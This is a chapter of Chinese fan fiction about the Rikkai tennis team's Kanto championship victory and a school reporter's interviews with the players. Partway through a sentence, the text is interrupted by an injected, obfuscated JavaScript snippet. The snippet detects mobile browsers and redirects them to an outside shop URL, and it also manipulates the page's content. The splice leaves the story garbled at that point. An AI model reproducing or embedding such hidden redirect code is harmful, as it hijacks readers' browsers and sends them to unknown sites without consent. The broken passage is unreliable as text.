纵使并不甘心,当毛利将最后一球打进宍户的球场,结局便已彻底落定。 裁判宣布比赛结束,报出立海的团体比分,对面看台上的欢呼声直冲天际,至今已是连续15年,立海再次捍卫了关东连胜的传奇,当仁不让地矗立于近千所中学的顶峰,称霸关东! “常胜——立海大!Let’s go!Let’s go!立海大!” 礼花与丝带漫天飞舞,立海旗帜在蓝天下猎猎飞扬。在喧闹得连自己说话声音都听不见的选手区中,大家都面带笑容,轮流抬起戴着黑色护腕的手臂轻轻碰拳,目光掠及彼此,年轻气盛的眼神深处溅起明亮滚烫的快乐。 没有人会说自己为了今天付出了多少日夜不辍的锻炼,因为他们知道,一个人唯有忍受过守候漫漫黑夜的孤独,才有资格抓住破晓的第一缕晨曦,那并非夜晚温柔,而是自己穿越了长夜,光才成为了荣耀的加冕。 “我们是冠军!” 71.File 70 采访 比赛结束,立海校队全员集合。 丸井文太原本正吹着泡泡跟在幸村精市身后,忽然他眼角的余光瞥到切原赤也,发现小学弟不仅站在原地不动,还把两手插在兜里,表情有些不甘不愿的样子,别扭得很。 他观察着眨了眨眼睛,很快笑着走过去揉了揉学弟的头发。 “在发什么呆呢,赤也?快来拍照啦。” 亲昵明快的声音才刚钻进切原赤也的耳朵里,他的手腕就被丸井文太笑着握住,把他带往其他队友的方向。 喂—— 切原不太认真地稍微抵抗了一下,却不知是有意还是无意,所有挣扎都被那过分自我的学长用轻描淡写的动作给压制住了,于是他只能半推半就,让对方揽着自己一起面对摄影师的镜头。 “咦,赤也最近是不是长高了一点?” 文太的声音微微透出惊讶,切原闻声朝斜上方看去,发现丸井学长说完这句话后又扭头跟嘲笑他没长高的仁王学长小小斗嘴了一番,杰克学长试图劝架,却压根拿那人没办法,还是真田副部长忍无可忍地低喝一声“安静”,几人才偃旗息鼓。 “要拍照了哦。”幸村终于瞧够了热闹,笑着提醒。 大家立刻调整站位,往幸村身边靠得更紧凑了一些。文太的手臂搭在切原的肩膀上,动作熟练又舒缓,想必是平日经常对家人这么做吧,是那种只想给予他人关爱的人才会有的姿态,干净气息之中好似掺着一丝青苹果香,若有若无得好似幻觉,却让人无端产生一种很甜的印象。 他假装不经意地侧目看去,这位八面玲珑的学长拍起照来也是大方又上镜,唇角从容一勾,漂亮脸庞上扬起潇洒笑容,另一边空闲的手还摆出了他标志性的剪刀手动作,天光明澈,将丸井文太的每一根眼睫毛都照得闪闪发亮。 冠军合影以后,就是关东大赛的闭幕式。排名前六的校队列于最前方,以立海为中心,冰帝、青学、六角、山吹、绿山依次左右排开。大赛主办方向晋级全国大赛的各校致以祝贺,也勉励本届其他参赛队伍来年再接再厉,然后在记者们此起彼伏的闪光灯中,本届关东大赛终于落下帷幕。 《不败的帝国:立海大附中再次守擂成功,卫冕关东冠军!》 《恭喜立海取得关东优胜,实现十五连胜壮举!下一步代表关东地区出征全国大赛》 《十五年连冠,谁与争锋?常胜立海的统治时代仍在继续》 《从险胜到完胜,回顾立海走过的十五年:不是对手变弱,而是他们一直在进化》 《冠军之心永不熄:立海关东大胜后明确下一目标,剑指全国二连霸!》 …… 关东决赛结束次日,由广播实时放送的战报立即如井喷般在各种社媒上刊载。早上被丢在家门口信箱里的晨间报纸,SNS平台上有关中学体育、网球还有神奈川当地媒体,还有由立海学生们在博客中高频转载的新闻,都在热议网球部关东凯旋的消息。 作为立海当之无愧的金字招牌,对外是最强的国中网球部,对内是体育社团中战绩最为辉煌的Top级部门,在这般风头无两的氛围中,纵使是暑假,网球部受到的外界关注也居高不下。 申请与立海举行训练赛的电话一个接一个打进参谋柳莲二的手机,不过不好意思,全国级的学校优先,而且全国大赛前的练习日程已经所剩不多。 想要现场采访立海校队的各媒体记者也是接连不断地联络副部长真田弦一郎,但全国大赛开赛在即,正选队员需要集中精力训练,所以只允许远距离的参观和摄影取材,烦请社会人士跟他们保持距离。 立海大附属校区的东门距离网球场最近,近日连隔壁的足球部成员都注意到校外人士来访的数量大幅增加,将网球部的铁丝网外围得水泄不通。 大多二、三年级的部员对于每年大赛后上演的盛况早已习以为常,还能对那些不断按动相机快门的记者和外校情报人员视若无睹,淡定地继续练习,但也有些一年级生的心理素质稍弱一些,纵使反复告诫自己要忽视外界的视线,略显僵硬的动作仍是暴露出内心的不安定,随后自然是被场内监督的幸村精市挑起眉梢轻轻点出,他们一张张脸庞顿时懊恼得涨红,不堪忍受如此丢脸的一面竟被伟大的部长瞧见,立马举手自请加训去了。 话又说回来,尽管网球部沿袭了立海的一贯风气,对外表现得颇为高冷疏离,但面对校内为学生会发行的校志《百川归海》供稿的新闻部记者,部长幸村精市还是很爽快地批下了许可,同意对方在部活以外的时间单独采访他的正选队员。 鉴于网球部正选队员们大多是国中部的风云人物,不仅个性鲜明得令人印象深刻,他们时常出没的地带也被消息灵通的同学们摸得一清二楚。 于是—— 万事开头难,所以采访自然要从最好说话的人开始。记者同学来到海风馆一楼的自助餐厅,搜寻一番却没有发现目标人物,他稍加思索,调头来到教学楼内部的福利社,果然在附近找到了红发少年的身影。 那个人正坐在楼梯中间的台阶上,长腿跨过了三级台阶,正专心致志地拆零食的包装袋。西斜的光线从楼梯侧面的窗外投来,在他的脸庞上覆盖了一层夕阳的暖色,淡紫色的眸子被长长的睫毛掩去了一半。 那昳丽眉眼在金红色的光辉中变得微微模糊,哪怕看不清神采的细节,也仿佛可以感受到他安然满足的眼神。 丰沛的幸福感萦绕在周身,变成了一种极富感染力的气场,让他的所在之处变得轻松又梦幻。 黄昏时分的教学楼里非常清静,他就像落日的余晖在夜幕降临前短暂散发出的绚烂光芒,是一种只存在于青春期的美丽存在,仅出现就将周围的布景打上模糊的底稿,在昏暗中晕染开一抹明艳鲜妍的色彩,让这一个再平凡不过的校园一隅变成了逢魔时刻限定的洒金粉笺,又不由分说地飘落到别人心里。 “唔?是找我么?”丸井文太的声音里透着一丝惊讶,整个人的气息却依旧非常松弛,并不介意被旁人突然打扰。那姿态既像是随心所欲地坐在这里,又仿佛此刻全无防备,正漫不经心地享受他的点心时间。 暑期的立海校内没有时刻巡查的风纪委员,他的制服领带系得很松,解开了上方两枚扣子的衣领向外敞开,能看见里面一截很深的锁骨,那一小片暴露出来的皮肤同样被夕阳光辉所染指,浮着一层暧昧的浅绯颜色。 因为几乎从未在他身上感觉到距离感,这份总是看起来相当容易亲近的美貌平时不知惹来多少觊觎,无论男女,都能与他相处愉快,被他不着痕迹的体贴方式所关照着,但所有靠近他的人都能感觉到,要想真正成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290711|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为被他特殊看待的亲友,却并不容易。 “原来是采访啊,可以哦。” 丸井文太果然是友善又健谈的性格,得知记者同学的来意后,不仅示意对方坐到自己旁边,还分了一个糖果过来。 他一贯会说话,轻松地回答完了几个例行公事的官方问题。随后,丸井文太瞧向记者同学,发现对方明明已经该结束话题,却仍有将交谈继续下去的意愿,好似还想打探什么。 会是什么呢? 文太注视着对方,那双落在红发下方的紫眸若有所思地眨了眨,忽然露出一个很懂的笑。 “说起来啊——”他拖长声调,调侃着问,“既然是要刊载到校志上的校队采访,应该不只有网球相关的提问吧?” 考虑一下同学们对什么类型的报道更感兴趣,答案显而易见。 “不愧是丸井同学,果然善解人意。”记者同学也心照不宣地隐秘一笑,“那我就单刀直入地说了,鉴于网球部的诸位正选都相当出色,无论是知名度还是人气都非同凡响,所以方便大家了解一下你在恋爱方面喜欢的类型么?” 果然是这种话题啊。 “给我食物的人吧。”文太说,单眼轻眨,比了个wink,“很天才吧?很期待大家看到答案以后向我进贡什么美食哦!” 他来者不拒的。 “丸井同学你的目的太明显了吧!”记者同学吐槽。 不愧是上过大胃王电视节目的立海最强吃货,比起女孩子头发上飘来的香气,绝对是蛋糕的烘烤香味更能吸引他的注意吧。 “要说理想型啊,理想型应该是对方自身的特点吧。” “唔……那就是一眼就能看到特别的感觉吧。比如说绑上缎带之类的,显出时髦的感觉不是很可爱吗?” 后来记者同学又单独采访了网球部的其他校队成员。 在校图书馆与柳同学笔谈,得知对方喜欢的类型是主见强、能够有条不紊地进行规划的人。 在教学楼的和室正坐观赏真田同学练习书法,并得到了目前对这种问题不感兴趣的回答。 在网球场找到了努力练习的切原学弟,听闻对方喜欢开朗的人。 在校园一角的自然区找到在给校内饲养的羊驼和豚鼠喂食的杰克同学,得知他喜欢皮肤白皙的类型。 在去屋顶庭园寻找幸村同学的途中偶然发现了正在花架下小睡的仁王同学,对方醒来以后,一边用粉红的发绳绑起最近蓄长了不少的发尾,一边随意地回答着采访的问题。因为他对喜欢的类型回答得颇为含糊,一时说是擅长策略的人,一时说是擅长交际的人,让人很难摸清他的真实喜好。 在美术教室找到了正在绘制油画的幸村同学,但因为实在不好意思打扰对方太久,又担心对方的回答会在同学间掀起疯狂模仿的潮流,记者同学在对方过于温柔而且无懈可击的笑容下直接败退,没能问出口。 还有,据某位不愿透露姓名的网球部成员称,哪怕当前正值备战全国大赛的关键时期,毛利学长也依旧没到学校参加部训,所以无处可寻,无法采访…… 然后记者同学带着采访资料回到新闻部,在整理内容的时候,他看了一会儿网球部队员们的回答,忽然有些无厘头地想道:如果不考虑性别的话,好像有的人就是别人喜欢的类型啊。